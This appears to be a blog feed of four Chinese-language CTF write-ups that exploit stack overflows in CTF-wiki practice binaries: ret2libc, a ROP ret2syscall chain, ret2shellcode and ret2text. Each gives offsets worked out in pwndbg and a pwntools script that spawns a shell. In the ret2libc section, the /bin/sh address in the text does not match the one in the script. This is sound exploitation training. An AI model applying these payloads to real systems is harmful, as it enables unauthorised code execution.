BoyChai's Blog - c https://blog.boychai.xyz/index.php/tag/c/ [PWN]栈溢出-ret2libc1 https://blog.boychai.xyz/index.php/archives/75/ 2024-06-11T08:50:00+00:00 题目来源下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1PS:内容来自于CTF-WIKI分析文件类型┌──(kali㉿kali)-[~/Desktop/pwn] └─$ file ret2libc1 ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped这是一个采用动态连接库编译的32位ELF文件软件防护 checksec --file=ret2libc1 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 84 Symbols No 0 1 ret2libc1允许栈溢出,NX防护开启,PIE防护关闭。IDA分析在main函数中内容如下int __cdecl main(int argc, const char **argv, const char **envp) { char s[100]; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(s); return 0; }在main中明显的gets函数,直接可以栈溢出,之后其他没有可用信息了。在secure函数中内容如下void secure() { unsigned int v0; // eax int input; // [esp+18h] [ebp-10h] BYREF int secretcode; // [esp+1Ch] [ebp-Ch] v0 = time(0); srand(v0); secretcode = rand(); __isoc99_scanf("%d", &input); if ( input == secretcode ) system("shell!?"); }有后门,但是system()函数传参不对不能直接拿这个地址直接用。在IDA中查询找字符串/bin/sh在rodata中地址是0x08048720在plt表中查询到system()函数的地址是0x08048460。.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system]攻击攻击思路采用system的plt地址来运行system()函数,通过程序内的字符串/bin/sh给函数进行传参。栈溢出位数使用pwndbg调试,内容如下───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────── *EAX 0xffffcf3c ◂— 'hello' EBX 0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */ *ECX 0xf7e258ac (_IO_stdfile_0_lock) ◂— 0 EDX 0 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0x8048690 (__libc_csu_init) ◂— push ebp EBP 0xffffcfa8 ◂— 0 ESP 0xffffcf20 —▸ 0xffffcf3c ◂— 'hello' *EIP 0x8048683 (main+107) ◂— mov eax, 0这里溢出位数应该是0xa8-0x3c=108,溢出位数应该还要+4,+4才是真正返回地址的位置。脚本from pwn import * # 利用地址 system_plt = 0x8048460 binsh = 0x8049720 io = process("./ret2libc1") payload = flat([b"a" * 112, system_plt, b"b" * 4, binsh]) io.sendline(payload) io.interactive()在脚本中plt地址后门还要再多溢出4字节,因为函数拿参数的时候都是他的上上个位置,上一个位置也就是这后面填充的4字节,他一般都是返回地址的位置,因为这里只需要执行system()所以不需要考虑这个返回地址的内容,填充垃圾数据即可。 [PWN]栈溢出-ROP-ret2syscall https://blog.boychai.xyz/index.php/archives/74/ 2024-06-03T01:39:00+00:00 题目来源下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/ropPS:内容来自于CTF-WIKI分析文件类型┌──(kali㉿kali)-[~/Desktop/pwn] └─$ file rop rop: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped32位ELF文件软件防护┌──(kali㉿kali)-[~/Desktop/pwn] └─$ checksec --file=rop RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 2255 Symbols No 0 0 rop栈溢出防护是关闭的,NX是开启的,那这道题基本上就是用ROP进行栈溢出了。IDA分析main函数如下int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return 0; }说这次没有system()和shellcode该怎么办,但是这里有gets函数肯定存在栈溢出,然后分析了一下,确实是没有system(),shellcode也没办法执行,但是在地址0x080BE408发现了字符串"/bin/sh"攻击攻击思路shellcode和后门函数都不存在,这里直接尝试rop。ROPgadget查询┌──(kali㉿kali)-[~/Desktop/pwn] └─$ ROPgadget --binary ./rop --only "pop|ret"|grep eax 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; reteax_ret = 0x080bb196┌──(kali㉿kali)-[~/Desktop/pwn] └─$ ROPgadget --binary ./rop --only "pop|ret"|grep ebx 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; retedx_ecx_ebx_ret = 0x0806eb90┌──(kali㉿kali)-[~/Desktop/pwn] └─$ ROPgadget --binary ./rop |grep "int"|grep "0x80" ... 0x080b9e08 : push es ; int 0x80 ...intx80 = 0x080b9e08PWNDBG计算溢出长度pwndbg调试信息如下*EAX 0xffffcf7c ◂— 'hello' EBX 0x80481a8 (_init) ◂— push ebx *ECX 0xfbad2288 *EDX 0x80eb4e0 (_IO_stdfile_0_lock) ◂— 0 EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8067b10 (__stpcpy_sse2) ◂— mov edx, dword ptr [esp + 4] ESI 0 EBP 0xffffcfe8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx ESP 0xffffcf60 —▸ 0xffffcf7c ◂— 'hello' *EIP 0x8048e9b (main+119) ◂— mov eax, 00xe8-0x7c=232-124=108+4=112攻击脚本from pwn import * io = process("./rop") sh = 0x080BE408 eax_ret = 0x080BB196 edx_ecx_ebx_ret = 0x0806EB90 intx80 = 0x080B9E08 payload = flat( [ b"a" * 112, eax_ret, 0xB, edx_ecx_ebx_ret, sh, 0, 0, intx80, ] ) io.sendline(payload) io.interactive() 上面四个地址分别是“/bin/sh”字符串地址、pop eax ret地址、pop ebx ecx edx ret地址、int 0x80地址,使用上面的payload可以达成下面执行效果mov eax,0xb mov ebx, ["/bin/sh"] mov ecx, 0 mov edx, 0 int 0x80payload中的0xb是系统调用的id他代表执行命令的一个函数。 [PWN]栈溢出-ret2shellcode https://blog.boychai.xyz/index.php/archives/73/ 2024-05-30T08:34:00+00:00 题目来源下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcodePS:内容来自于CTF-WIKI关于环境高版本的linux内核似乎已经修复了这个问题,目前只能尝试在Ubuntu-18.04或之前的版本可以 内核版本目前我用的是5.4.0-84-generic成功复现了这个题目。分析文件类型┌──(kali㉿kali)-[~/Desktop/pwn] └─$ file ret2shellcode ret2shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=47e6d638fe0f3a3ff4695edb8b6c7e83461df949, with debug_info, not stripped保护措施┌──(kali㉿kali)-[~/Desktop/pwn] └─$ checksec --file=ret2shellcode RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILENX是关闭的,这一题考点就和这个有关系。IDA分析main函数内容如下int __cdecl main(int argc, const char **argv, const char **envp) { char s[100]; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets(s); strncpy(buf2, s, 0x64u); printf("bye bye ~"); return 0; }main中有大问题,gets就不说了,攻击点就肯定是在这里,然后他往一个s[100]输入值了之后把s的值全部放到了buf2中,这个buf2在main中也没有定义,去看一下他的位置.bss:0804A080 public buf2 .bss:0804A080 ; char buf2[100] .bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+buf2 db 64h dup(?) ; DATA XREF: main+7B↑o .bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+_bss ends .bss:0804A080 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+他的地址是0x0804A080这里还是在bss段中的,这里的值是可以读写的。这里思路已经清晰了。攻击思路这里面没有发现什么后门,这里我们就需要自己制造出一个后门sh,通过把后门sh写入到buf2中,然后用栈溢出把返回地址修改成buf2就可以完成攻击。PWNDBG调试pwndbg> n hello 15 in ret2shellcode.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────── *EAX 0xffffd29c ◂— 'hello' EBX 0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */ *ECX 0xf7e258ac (_IO_stdfile_0_lock) ◂— 0 EDX 0 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0x80485d0 (__libc_csu_init) ◂— push ebp EBP 0xffffd308 ◂— 0 ESP 0xffffd280 —▸ 0xffffd29c ◂— 'hello' *EIP 0x8048598 (main+107) ◂— mov dword ptr [esp + 8], 0x64 esp地址是0xffffd29c然后ebp地址是0xffffd308进行计算776-668=108,需要溢出的栈长度是108+4,然后再加上返回地址改成buf2那就是116。脚本攻击from pwn import * # 远程连接 io = remote("172.20.10.4",16000) # buf2地址 buf2 = 0x0804A080 # payload构建 # 这里payload的总长度是116 payload = asm(shellcraft.sh()).ljust(112,b"a") + p32(buf2) io.sendline(payload) # 进入交互模式 io.interactive() [PWN]栈溢出-ret2text https://blog.boychai.xyz/index.php/archives/72/ 2024-05-28T12:10:00+00:00 题目来源下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2textPS:内容来自于CTF-WIKI分析文件类型┌──(kali㉿kali)-[~/Desktop/pwn] └─$ file ret2text ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f13f004f23ea39d28ca91f2bb83110b4b73713f, with debug_info, not stripped程序类型位32位ELF文件防护措施┌──(kali㉿kali)-[~/Desktop/pwn] └─$ checksec --file=ret2text RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 83 Symbols No 0 2 ret2text防护措施好像就有个NX,NX是不允许在堆栈中执行shellcodeIDA分析main函数内容如下int __cdecl main(int argc, const char **argv, const char **envp) { char s[100]; // [esp+1Ch] [ebp-64h] BYREF setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets(s); printf("Maybe I will tell you next time !"); return 0; }可以看到gets往s里面传值了,但是s的长度是100,这里就是一个简单的栈溢出。之后还找到了一个程序后门,代码内容如下void secure() { unsigned int v0; // eax int input; // [esp+18h] [ebp-10h] BYREF int secretcode; // [esp+1Ch] [ebp-Ch] v0 = time(0); srand(v0); secretcode = rand(); __isoc99_scanf((int)&unk_8048760, (int)&input); if ( input == secretcode ) system("/bin/sh"); }关于system(/bin/sh)他就是留下的后门。。这里看一下他的详细信息.text:0804863A ; 11: system("/bin/sh");他的地址是0804863A。攻击思路使用栈溢出把程序结束时的返回地址改成后门的执行地址也就是0804863A,但是栈需要溢出多少位还不知道需要动态分析一下。PWNDBG分析┌──(kali㉿kali)-[~/Desktop/pwn] └─$ gdb ret2text pwndbg> b main pwndbg> r pwndbg> n pwndbg> n pwndbg> n hello 25 in ret2text.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────── *EAX 0xffffcf1c ◂— 'hello' EBX 0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */ *ECX 0xf7e258ac (_IO_stdfile_0_lock) ◂— 0 EDX 0 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0x80486d0 (__libc_csu_init) ◂— push ebp EBP 0xffffcf88 ◂— 0 ESP 0xffffcf00 —▸ 0xffffcf1c ◂— 'hello' *EIP 0x80486b3 (main+107) ◂— mov dword ptr [esp], 0x80487a4 ─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────── ...... ─────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────── ...... ───────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────── ...... ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 这里只写一些重要的操作和一些重要输出,输出中重点内容是*EAX 0xffffcf1c ◂— 'hello' EBX 0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */ *ECX 0xf7e258ac (_IO_stdfile_0_lock) ◂— 0 EDX 0 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0x80486d0 (__libc_csu_init) ◂— push ebp EBP 0xffffcf88 ◂— 0 ESP 0xffffcf00 —▸ 0xffffcf1c ◂— 'hello' *EIP 0x80486b3 (main+107) ◂— mov dword ptr [esp], 0x80487a4EBP和ESP的地址间隔是0xffffcf88 - 0xffffcf1c= 4294954888 - 4294954780 = 108(这里可以直接用88h-1ch初学为了好理解就写全了),拿到间隔长度之后需要+4,因为要往返回地址中写内容,而返回地址的位置是再esp的上面所以需要+4。============================ 返回地址 ============================ %esp ============================ xxxxx ============================PWNTools代码攻击from pwn import * io = process("./ret2text") target = 0x804863a payload = b"A" * (108 + 4) + p32(target) io.sendline(payload) io.interactive() io.close()效果展示┌──(kali㉿kali)-[~/Desktop/pwn] └─$ python test.py [+] Starting local process './ret2text': pid 35232 [*] Switching to interactive mode There is something amazing here, do you know anything? Maybe I will tell you next time !$ ls core ret2text run test.py $ pwd /home/kali/Desktop/pwn $ exit [*] Got EOF while reading in interactive $ [*] Process './ret2text' stopped with exit code -11 (SIGSEGV) (pid 35232) [*] Got EOF while sending in interactive